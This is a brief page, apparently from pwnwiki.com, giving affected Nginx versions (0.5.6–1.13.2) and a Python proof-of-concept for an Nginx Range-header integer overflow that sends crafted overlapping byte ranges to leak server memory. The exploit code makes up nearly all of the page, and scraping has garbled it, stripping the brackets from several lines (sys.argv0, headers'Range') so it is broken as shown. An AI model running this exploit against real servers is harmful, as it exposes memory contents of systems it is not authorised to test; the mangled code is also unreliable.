pwnwiki.com
,
影响版本
Nginx version 0.5.6 - 1.13.2
POC
#!/usr/bin/env python import sys import requests if len(sys.argv) < 2: print("%s url" % (sys.argv0)) print("eg: python %s http://your-ip:8080/" % (sys.argv0)) sys.exit() headers = { 'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240" } offset = 605 url = sys.argv1 file_len = len(requests.get(url, headers=headers).content) n = file_len + offset headers'Range' = "bytes=-%d,-%d" % ( n, 0x8000000000000000 - n) r = requests.get(url, headers=headers)
PWNWIK.COM